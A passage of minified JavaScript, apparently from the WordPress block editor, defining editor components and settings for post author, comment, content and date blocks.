R(){g(l,Dee(n,f))}return(0,ct.jsxs)(ct.Fragment,{children:[(0,ct.jsx)(nn.InspectorControls,{children:(0,ct.jsxs)(Cr.__experimentalToolsPanel,{label:(0,wr.__)("Settings"),resetAll:()=>{i({avatarSize:48,showAvatar:!0,isLink:!1,linkTarget:"_self"})},dropdownMenuProps:c,children:[O&&(0,ct.jsx)("div",{style:{gridColumn:"1 / -1"},children:(0,ct.jsx)(fke,{value:m,onChange:M})}),(0,ct.jsx)(Cr.__experimentalToolsPanelItem,{label:(0,wr.__)("Show avatar"),isShownByDefault:!0,hasValue:()=>!y,onDeselect:()=>i({showAvatar:!0}),children:(0,ct.jsx)(Cr.ToggleControl,{label:(0,wr.__)("Show avatar"),checked:y,onChange:()=>i({showAvatar:!y})})}),y&&(0,ct.jsx)(Cr.__experimentalToolsPanelItem,{label:(0,wr.__)("Avatar size"),isShownByDefault:!0,hasValue:()=>C!==48,onDeselect:()=>i({avatarSize:48}),children:(0,ct.jsx)(Cr.SelectControl,{__next40pxDefaultSize:!0,label:(0,wr.__)("Avatar size"),value:C,options:E,onChange:F=>{i({avatarSize:Number(F)})}})}),(0,ct.jsx)(Cr.__experimentalToolsPanelItem,{label:(0,wr.__)("Show bio"),isShownByDefault:!0,hasValue:()=>!!_,onDeselect:()=>i({showBio:void 0}),children:(0,ct.jsx)(Cr.ToggleControl,{label:(0,wr.__)("Show bio"),checked:!!_,onChange:()=>i({showBio:!_})})}),(0,ct.jsx)(Cr.__experimentalToolsPanelItem,{label:(0,wr.__)("Link author name to author page"),isShownByDefault:!0,hasValue:()=>!!k,onDeselect:()=>i({isLink:!1}),children:(0,ct.jsx)(Cr.ToggleControl,{label:(0,wr.__)("Link author name to author page"),checked:k,onChange:()=>i({isLink:!k})})}),k&&(0,ct.jsx)(Cr.__experimentalToolsPanelItem,{label:(0,wr.__)("Link target"),isShownByDefault:!0,hasValue:()=>S!=="_self",onDeselect:()=>i({linkTarget:"_self"}),children:(0,ct.jsx)(Cr.ToggleControl,{label:(0,wr.__)("Open in new tab"),onChange:F=>i({linkTarget:F?"_blank":"_self"}),checked:S==="_blank"})})]})}),f.some(F=>F.name==="core/group")&&(0,ct.jsx)(pke,{children:(0,ct.jsxs)(Cr.__experimentalVStack,{className:"wp-block-post-author__transform",alignment:"left",spacing:4,children:[(0,ct.jsx)(Cr.__experimentalText,{as:"p",children:(0,wr.__)("This block is no longer supported. Recreate its design with the Avatar, Author Name and Author Biography blocks.")}),(0,ct.jsx)(Cr.Button,{variant:"primary",onClick:R,__next40pxDefaultSize:!0,children:(0,wr.__)("Recreate")})]})}),(0,ct.jsx)(nn.BlockControls,{group:"block",children:(0,ct.jsx)(nn.AlignmentControl,{value:b,onChange:F=>{i({textAlign:F})}})}),(0,ct.jsxs)("div",{...D,children:[y&&(0,ct.jsx)("div",{className:"wp-block-post-author__avatar",children:(0,ct.jsx)("img",{width:C,src:m?.avatar_urls?.[C]||u,alt:m?.name||(0,wr.__)("Default Avatar")})}),(0,ct.jsxs)("div",{className:"wp-block-post-author__content",children:[(!nn.RichText.isEmpty(x)||e)&&(0,ct.jsx)(nn.RichText,{identifier:"byline",className:"wp-block-post-author__byline","aria-label":(0,wr.__)("Post author byline text"),placeholder:(0,wr.__)("Write byline\u2026"),value:x,onChange:F=>i({byline:F})}),(0,ct.jsx)("p",{className:"wp-block-post-author__name",children:k?(0,ct.jsx)("a",{href:"#post-author-pseudo-link",onClick:F=>F.preventDefault(),children:B}):B}),_&&(0,ct.jsx)("p",{className:"wp-block-post-author__bio",dangerouslySetInnerHTML:{__html:m?.description}})]})]})]})}var Aee=hke;var{name:zee}=Iw,Vee={icon:bp,example:{viewportWidth:350,attributes:{showBio:!0,byline:(0,Ree.__)("Posted by")}},edit:Aee},gke=()=>N({name:zee,metadata:Iw,settings:Vee});var iL={};q(iL,{init:()=>_ke,metadata:()=>Dw,name:()=>Wee,settings:()=>$ee});var Dw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-author-name",title:"Author Name",category:"theme",description:"The author name.",textdomain:"default",attributes:{isLink:{type:"boolean",default:!1,role:"content"},linkTarget:{type:"string",default:"_self",role:"content"}},usesContext:["postType","postId"],example:{viewportWidth:350},supports:{anchor:!0,html:!1,spacing:{margin:!0,padding:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-post-author-name"};var Lw=o(T(),1),Fee=o(z(),1),tc=o(I(),1),Oee=o(Y(),1),Im=o(A(),1);var Si=o(v(),1);function bke(e){St(e);let{attributes:{isLink:t,linkTarget:r},setAttributes:a,context:{postType:n,postId:i}}=e,{authorName:l,supportsAuthor:s}=(0,Fee.useSelect)(d=>{let{getEditedEntityRecord:f,getUser:h,getPostType:g}=d(Oee.store),b=f("postType",n,i)?.author;return{authorName:b?h(b):null,supportsAuthor:g(n)?.supports?.author??!1}},[n,i]),c=(0,Lw.useBlockProps)(),u=l?.name||(0,tc.__)("Author Name"),m=t?(0,Si.jsx)("a",{href:"#author-pseudo-link",onClick:d=>d.preventDefault(),className:"wp-block-post-author-name__link",children:u}):u,p=W();return(0,Si.jsxs)(Si.Fragment,{children:[(0,Si.jsx)(Lw.InspectorControls,{children:(0,Si.jsxs)(Im.__experimentalToolsPanel,{label:(0,tc.__)("Settings"),resetAll:()=>{a({isLink:!1,linkTarget:"_self"})},dropdownMenuProps:p,children:[(0,Si.jsx)(Im.__experimentalToolsPanelItem,{label:(0,tc.__)("Link to author archive"),isShownByDefault:!0,hasValue:()=>t,onDeselect:()=>a({isLink:!1}),children:(0,Si.jsx)(Im.ToggleControl,{label:(0,tc.__)("Link to author archive"),onChange:()=>a({isLink:!t}),checked:t})}),t&&(0,Si.jsx)(Im.__experimentalToolsPanelItem,{label:(0,tc.__)("Open in new tab"),isShownByDefault:!0,hasValue:()=>r!=="_self",onDeselect:()=>a({linkTarget:"_self"}),children:(0,Si.jsx)(Im.ToggleControl,{label:(0,tc.__)("Open in new tab"),onChange:d=>a({linkTarget:d?"_blank":"_self"}),checked:r==="_blank"})})]})}),(0,Si.jsx)("div",{...c,children:!s&&n!==void 0?(0,tc.sprintf)((0,tc.__)("This post type (%s) does not support the author."),n):m})]})}var Hee=bke;var yke={attributes:{isLink:{type:"boolean",default:!1,role:"content"},linkTarget:{type:"string",default:"_self",role:"content"},textAlign:{type:"string"}},supports:{anchor:!0,html:!1,spacing:{margin:!0,padding:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},jee=[yke];var Uee=o(U(),1),xke={from:[{type:"block",blocks:["core/post-author"],transform:({textAlign:e})=>(0,Uee.createBlock)("core/post-author-name",{style:{typography:{textAlign:e}}})}]},Gee=xke;var{name:Wee}=Dw,$ee={icon:bp,transforms:Gee,edit:Hee,deprecated:jee},_ke=()=>N({name:Wee,metadata:Dw,settings:$ee});var lL={};q(lL,{init:()=>Ske,metadata:()=>Mw,name:()=>Jee,settings:()=>ete});var Mw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-author-biography",title:"Author Biography",category:"theme",description:"The author biography.",textdomain:"default",usesContext:["postType","postId"],example:{viewportWidth:350},supports:{anchor:!0,spacing:{margin:!0,padding:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-post-author-biography"};var qee=o(T(),1),Zee=o(z(),1),Kee=o(I(),1),Qee=o(Y(),1);var Jv=o(v(),1);function wke(e){St(e);let{context:{postType:t,postId:r}}=e,{authorDetails:a}=(0,Zee.useSelect)(l=>{let{getEditedEntityRecord:s,getUser:c}=l(Qee.store),u=s("postType",t,r)?.author;return{authorDetails:u?c(u):null}},[t,r]),n=(0,qee.useBlockProps)(),i=a?.description||(0,Kee.__)("Author Biography");return(0,Jv.jsx)(Jv.Fragment,{children:(0,Jv.jsx)("div",{...n,dangerouslySetInnerHTML:{__html:i}})})}var Yee=wke;var Cke={attributes:{textAlign:{type:"string"}},supports:{anchor:!0,spacing:{margin:!0,padding:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},Xee=[Cke];var{name:Jee}=Mw,ete={icon:bp,edit:Yee,deprecated:Xee},Ske=()=>N({name:Jee,metadata:Mw,settings:ete});var sL={};q(sL,{init:()=>Bke,metadata:()=>Aw,name:()=>nte,settings:()=>ite});var Aw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,__experimental:"fse",name:"core/post-comment",title:"Comment (deprecated)",category:"theme",allowedBlocks:["core/avatar","core/comment-author-name","core/comment-content","core/comment-date","core/comment-edit-link","core/comment-reply-link"],description:"This block is deprecated. Please use the Comments block instead.",textdomain:"default",attributes:{commentId:{type:"number"}},providesContext:{commentId:"commentId"},supports:{html:!1,inserter:!1,interactivity:{clientNavigation:!0}}};var eb=o(I(),1),ag=o(A(),1),tte=o(j(),1);var Rw=o(T(),1),wd=o(v(),1),Pke=[["core/avatar"],["core/comment-author-name"],["core/comment-date"],["core/comment-content"],["core/comment-reply-link"],["core/comment-edit-link"]];function rte({attributes:{commentId:e},setAttributes:t}){let[r,a]=(0,tte.useState)(e),n=(0,Rw.useBlockProps)(),i=(0,Rw.useInnerBlocksProps)(n,{template:Pke});return e?(0,wd.jsx)("div",{...i}):(0,wd.jsx)("div",{...n,children:(0,wd.jsxs)(ag.Placeholder,{icon:A7,label:(0,eb._x)("Post Comment","block title"),instructions:(0,eb.__)("To show a comment, input the comment ID."),children:[(0,wd.jsx)(ag.TextControl,{__next40pxDefaultSize:!0,value:e,onChange:l=>a(parseInt(l))}),(0,wd.jsx)(ag.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:()=>{t({commentId:r})},children:(0,eb.__)("Save")})]})})}var zw=o(T(),1),ote=o(v(),1);function ate(){let e=zw.useBlockProps.save(),t=zw.useInnerBlocksProps.save(e);return(0,ote.jsx)("div",{...t})}var{name:nte}=Aw,ite={icon:P0,edit:rte,save:ate},Bke=()=>N({name:nte,metadata:Aw,settings:ite});var cL={};q(cL,{init:()=>Dke,metadata:()=>Vw,name:()=>hte,settings:()=>gte});var Vw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-comments-count",title:"Comments Count",category:"theme",description:"Display a post's comments count.",textdomain:"default",usesContext:["postId"],example:{viewportWidth:350},supports:{anchor:!0,html:!1,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},interactivity:{clientNavigation:!0}},style:"wp-block-post-comments-count"};var lte=o(T(),1),Fw=o(j(),1),ste=o(O1(),1),cte=o(nr(),1),ute=o(v(),1);function mte({context:e}){let{postId:t}=e,[r,a]=(0,Fw.useState)(),n=(0,lte.useBlockProps)();(0,Fw.useEffect)(()=>{if(!t)return;let s=t;(0,ste.default)({path:(0,cte.addQueryArgs)("/wp/v2/comments",{post:t}),parse:!1}).then(c=>{s===t&&a(c.headers.get("X-WP-Total"))})},[t]);let i=t&&r!==void 0,l={...n.style,textDecoration:i?n.style?.textDecoration:void 0};return(0,ute.jsx)("div",{...n,style:l,children:i?r:"0"})}var pte=o(U(),1),Eke={to:[{type:"block",blocks:["core/post-comments-link"],transform:({style:e})=>{let t=e?.typography?.textAlign;return(0,pte.createBlock)("core/post-comments-link",{...t&&{style:{typography:{textAlign:t}}}})}}]},dte=Eke;var Nke={attributes:{textAlign:{type:"string"}},supports:{anchor:!0,html:!1,spacing:{margin:!0,padding:!0},color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},fte=[Nke];var{name:hte}=Vw,gte={icon:Z0,edit:mte,transforms:dte,deprecated:fte},Dke=()=>N({name:hte,metadata:Vw,settings:gte});var mL={};q(mL,{init:()=>Ake,metadata:()=>Ow,name:()=>_te,settings:()=>kte});var Ow={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-comments-form",title:"Comments Form",category:"theme",description:"Display a post's comments form.",textdomain:"default",usesContext:["postId","postType"],supports:{anchor:!0,html:!1,color:{gradients:!0,heading:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},editorStyle:"wp-block-post-comments-form-editor",style:["wp-block-post-comments-form","wp-block-buttons","wp-block-button"],example:{attributes:{style:{typography:{textAlign:"center"}}}}};var vte=o(T(),1),bte=o(A(),1),yte=o(ue(),1),Hw=o(I(),1);var tb=o(v(),1);function uL({context:e}){let{postId:t,postType:r}=e,a=(0,yte.useInstanceId)(uL),n=(0,Hw.sprintf)("comments-form-edit-%d-desc",a),i=(0,vte.useBlockProps)({"aria-describedby":n});return(0,tb.jsxs)("div",{...i,children:[(0,tb.jsx)(vk,{postId:t,postType:r}),(0,tb.jsx)(bte.VisuallyHidden,{id:n,children:(0,Hw.__)("Comments form disabled in editor.")})]})}var Mke={attributes:{textAlign:{type:"string"}},supports:{anchor:!0,html:!1,spacing:{margin:!0,padding:!0},color:{gradients:!0,heading:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},xte=[Mke];var{name:_te}=Ow,kte={icon:iP,edit:uL,deprecated:xte},Ake=()=>N({name:_te,metadata:Ow,settings:kte});var pL={};q(pL,{init:()=>Oke,metadata:()=>jw,name:()=>Dte,settings:()=>Lte});var jw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-comments-link",title:"Comments Link",category:"theme",description:"Displays the link to the current post comments.",textdomain:"default",usesContext:["postType","postId"],example:{viewportWidth:350},supports:{anchor:!0,html:!1,color:{link:!0,text:!1,__experimentalDefaultControls:{background:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-post-comments-link"};var wte=o(T(),1),Gw=o(j(),1),Cte=o(z(),1),Ste=o(O1(),1),Tte=o(nr(),1),Cd=o(I(),1),Pte=o(Y(),1),Uw=o(v(),1);function zke({context:e}){let{postType:t,postId:r}=e,[a,n]=(0,Gw.useState)(),i=(0,wte.useBlockProps)();(0,Gw.useEffect)(()=>{if(!r)return;let c=r;(0,Ste.default)({path:(0,Tte.addQueryArgs)("/wp/v2/comments",{post:r}),parse:!1}).then(u=>{c===r&&n(u.headers.get("X-WP-Total"))})},[r]);let l=(0,Cte.useSelect)(c=>c(Pte.store).getEditedEntityRecord("postType",t,r),[t,r]),s;if(a!==void 0){let c=parseInt(a);c===0?s=(0,Cd.__)("No comments"):s=(0,Cd.sprintf)((0,Cd._n)("%s comment","%s comments",c),c.toLocaleString())}return(0,Uw.jsx)("div",{...i,children:l?.link&&s!==void 0?(0,Uw.jsx)("a",{href:l?.link+"#comments",onClick:c=>c.preventDefault(),children:s}):(0,Uw.jsx)("a",{href:"#post-comments-link-pseudo-link",onClick:c=>c.preventDefault(),children:(0,Cd.__)("No comments")})})}var Bte=zke;var Ite=o(U(),1),Vke={to:[{type:"block",blocks:["core/post-comments-count"],transform:({style:e})=>{let t=e?.typography?.textAlign;return(0,Ite.createBlock)("core/post-comments-count",{...t&&{style:{typography:{textAlign:t}}}})}}]},Ete=Vke;var Fke={attributes:{textAlign:{type:"string"}},supports:{anchor:!0,html:!1,spacing:{margin:!0,padding:!0},color:{link:!0,text:!1,__experimentalDefaultControls:{background:!0,link:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},Nte=[Fke];var{name:Dte}=jw,Lte={edit:Bte,icon:Z0,transforms:Ete,deprecated:Nte},Oke=()=>N({name:Dte,metadata:jw,settings:Lte});var dL={};q(dL,{init:()=>Kke,metadata:()=>Ww,name:()=>Vte,settings:()=>Fte});var Ww={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-content",title:"Content",category:"theme",description:"Displays the contents of a post or page.",textdomain:"default",usesContext:["postId","postType","queryId"],attributes:{tagName:{type:"string",default:"div"}},example:{viewportWidth:350},supports:{anchor:!0,align:["wide","full"],html:!1,layout:!0,background:{backgroundImage:!0,backgroundSize:!0,__experimentalDefaultControls:{backgroundImage:!0}},dimensions:{minHeight:!0},spacing:{blockGap:!0,padding:!0,margin:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},color:{gradients:!0,heading:!0,link:!0,__experimentalDefaultControls:{background:!1,text:!1}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-post-content",editorStyle:"wp-block-post-content-editor"};var Sd=o(I(),1),Zr=o(T(),1),Mte=o(U(),1),ng=o(Y(),1),Ate=o(z(),1),Rte=o(j(),1);var sr=o(v(),1),{HTMLElementControl:jke}=Z(Zr.privateApis);function Uke({parentLayout:e,layoutClassNames:t,userCanEdit:r,postType:a,postId:n,tagName:i="div"}){let[,,l]=(0,ng.useEntityProp)("postType",a,"content",n),s=(0,Zr.useBlockProps)({className:t}),c=(0,Rte.useMemo)(()=>l?.raw?(0,Mte.parse)(l.raw):[],[l?.raw]),u=(0,Zr.__experimentalUseBlockPreview)({blocks:c,props:s,layout:e});return r?(0,sr.jsx)("div",{...u}):l?.protected?(0,sr.jsx)(i,{...s,children:(0,sr.jsx)(Zr.Warning,{children:(0,Sd.__)("This content is password protected.")})}):(0,sr.jsx)(i,{...s,dangerouslySetInnerHTML:{__html:l?.rendered}})}function Gke({context:e={},tagName:t="div"}){let{postType:r,postId:a}=e,[n,i,l]=(0,ng.useEntityBlockEditor)("postType",r,{id:a}),c=!!(0,Ate.useSelect)(p=>p(ng.store).getEntityRecord("postType",r,a),[r,a])?.content?.raw||n?.length,u=[["core/paragraph"]],m=(0,Zr.useInnerBlocksProps)((0,Zr.useBlockProps)({className:"entry-content"}),{value:n,onInput:i,onChange:l,template:c?void 0:u});return(0,sr.jsx)(t,{...m})}function Wke(e){let{context:{queryId:t,postType:r,postId:a}={},layoutClassNames:n,tagName:i}=e,l=v_("postType",r,a);if(l===void 0)return null;let s=Number.isFinite(t);return l&&!s?(0,sr.jsx)(Gke,{...e}):(0,sr.jsx)(Uke,{parentLayout:e.parentLayout,layoutClassNames:n,userCanEdit:l,postType:r,postId:a,tagName:i})}function $ke({layoutClassNames:e}){let t=(0,Zr.useBlockProps)({className:e});return(0,sr.jsxs)("div",{...t,children:[(0,sr.jsx)("p",{children:(0,Sd.__)("This is the Content block, it will display all the blocks in any single post or page.")}),(0,sr.jsx)("p",{children:(0,Sd.__)("That might be a simple arrangement like consecutive paragraphs in a blog post, or a more elaborate composition that includes image galleries, videos, tables, columns, and any other block types.")}),(0,sr.jsx)("p",{children:(0,Sd.__)("If there are any Custom Post Types registered at your site, the Content block can display the contents of those entries as well.")})]})}function qke(){let e=(0,Zr.useBlockProps)();return(0,sr.jsx)("div",{...e,children:(0,sr.jsx)(Zr.Warning,{children:(0,Sd.__)("Block cannot be rendered inside itself.")})})}function Zke({tagName:e,onSelectTagName:t,clientId:r}){return(0,sr.jsx)(Zr.InspectorControls,{group:"advanced",children:(0,sr.jsx)(jke,{tagName:e,onChange:t,clientId:r,options:[{label:(0,Sd.__)("Default (<div>)"),value:"div"},{label:"<main>",value:"main"},{label:"<section>",value:"section"},{label:"<article>",value:"article"}]})})}function zte({context:e,attributes:{tagName:t="div"},setAttributes:r,clientId:a,__unstableLayoutClassNames:n,__unstableParentLayout:i}){let{postId:l,postType:s}=e,c=(0,Zr.useHasRecursion)(l);return l&&s&&c?(0,sr.jsx)(qke,{}):(0,sr.jsxs)(sr.Fragment,{children:[(0,sr.jsx)(Zke,{tagName:t,onSelectTagName:m=>{r({tagName:m})},clientId:a}),(0,sr.jsx)(Zr.RecursionProvider,{uniqueId:l,children:l&&s?(0,sr.jsx)(Wke,{context:e,parentLayout:i,layoutClassNames:n}):(0,sr.jsx)($ke,{layoutClassNames:n})})]})}var{name:Vte}=Ww,Fte={icon:uP,edit:zte},Kke=()=>N({name:Vte,metadata:Ww,settings:Fte});var fL={};q(fL,{init:()=>o5e,metadata:()=>$w,name:()=>$te,settings:()=>qte});var $w={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-date",title:"Date",category:"theme",description:"Display a custom date.",textdomain:"default",attributes:{datetime:{type:"string",role:"content"},format:{type:"string"},isLink:{type:"boolean",default:!1,role:"content"}},usesContext:["postId","postType","queryId"],example:{viewportWidth:350},supports:{anchor:!0,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}}};var Ote=o(Y(),1),ig=o(j(),1),Td=o(Sk(),1),zn=o(T(),1),Ti=o(A(),1),ln=o(I(),1);var Hte=o(Cs(),1),rb=o(z(),1),jte=o(U(),1);var ho=o(v(),1);function Ute(e){let{attributes:t,context:{postType:r,queryId:a},setAttributes:n,name:i}=e;St(e);let{datetime:l,format:s,isLink:c}=t,u=(0,zn.useBlockProps)(),m=W(),[p,d]=(0,ig.useState)(null),f=(0,ig.useMemo)(()=>({anchor:p}),[p]),{__unstableMarkNextChangeAsNotPersistent:h}=(0,rb.useDispatch)(zn.store);(0,ig.useEffect)(()=>{l===void 0&&(h(),n({datetime:new Date}))},[l]);let g=Number.isFinite(a),b=(0,Td.getSettings)(),{postType:y,siteFormat:_=b.formats.date,siteTimeFormat:x=b.formats.time}=(0,rb.useSelect)(E=>{let{getPostType:B,getEntityRecord:D}=E(Ote.store),M=D("root","site");return{siteFormat:M?.date_format,siteTimeFormat:M?.time_format,postType:r?B(r):null}},[r]),k=(0,rb.useSelect)(E=>E(jte.store).getActiveBlockVariation(i,t)?.name,[i,t]),S=(0,zn.useBlockEditingMode)(),C=(0,ho.jsx)("time",{dateTime:(0,Td.dateI18n)("c",l),ref:d,children:s==="human-diff"?(0,Td.humanTimeDiff)(l):(0,Td.dateI18n)(s||_,l)});return c&&l&&(C=(0,ho.jsx)("a",{href:"#post-date-pseudo-link",onClick:E=>E.preventDefault(),children:C})),(0,ho.jsxs)(ho.Fragment,{children:[(S==="default"||!g)&&k!=="post-date-modified"&&(!g||!k)&&(0,ho.jsx)(zn.BlockControls,{group:"block",children:(0,ho.jsx)(Ti.ToolbarGroup,{children:(0,ho.jsx)(Ti.Dropdown,{popoverProps:f,renderContent:({onClose:E})=>(0,ho.jsx)(zn.__experimentalPublishDateTimePicker,{title:k==="post-date"?(0,ln.__)("Publish Date"):(0,ln.__)("Date"),currentDate:l,onChange:B=>n({datetime:B}),is12Hour:Yke(x),onClose:E,dateOrder:(0,ln._x)("dmy","date order")}),renderToggle:({isOpen:E,onToggle:B})=>{let D=M=>{!E&&M.keyCode===Hte.DOWN&&(M.preventDefault(),B())};return(0,ho.jsx)(Ti.ToolbarButton,{"aria-expanded":E,icon:vp,title:(0,ln.__)("Change Date"),onClick:B,onKeyDown:D})}})})}),(0,ho.jsx)(zn.InspectorControls,{children:(0,ho.jsxs)(Ti.__experimentalToolsPanel,{label:(0,ln.__)("Settings"),resetAll:()=>{n({datetime:void 0,format:void 0,isLink:!1})},dropdownMenuProps:m,children:[(0,ho.jsx)(Ti.__experimentalToolsPanelItem,{hasValue:()=>!!s,label:(0,ln.__)("Date Format"),onDeselect:()=>n({format:void 0}),isShownByDefault:!0,children:(0,ho.jsx)(zn.__experimentalDateFormatPicker,{format:s,defaultFormat:_,onChange:E=>n({format:E})})}),(0,ho.jsx)(Ti.__experimentalToolsPanelItem,{hasValue:()=>c!==!1,label:y?.labels.singular_name?(0,ln.sprintf)((0,ln.__)("Link to %s"),y.labels.singular_name.toLowerCase()):(0,ln.__)("Link to post"),onDeselect:()=>n({isLink:!1}),isShownByDefault:!0,children:(0,ho.jsx)(Ti.ToggleControl,{label:y?.labels.singular_name?(0,ln.sprintf)((0,ln.__)("Link to %s"),y.labels.singular_name.toLowerCase()):(0,ln.__)("Link to post"),onChange:()=>n({isLink:!c}),checked:c})})]})}),(0,ho.jsx)("div",{...u,children:C})]})}function Yke(e){return/(?:^|[^\\])[aAgh]/.test(e)}var 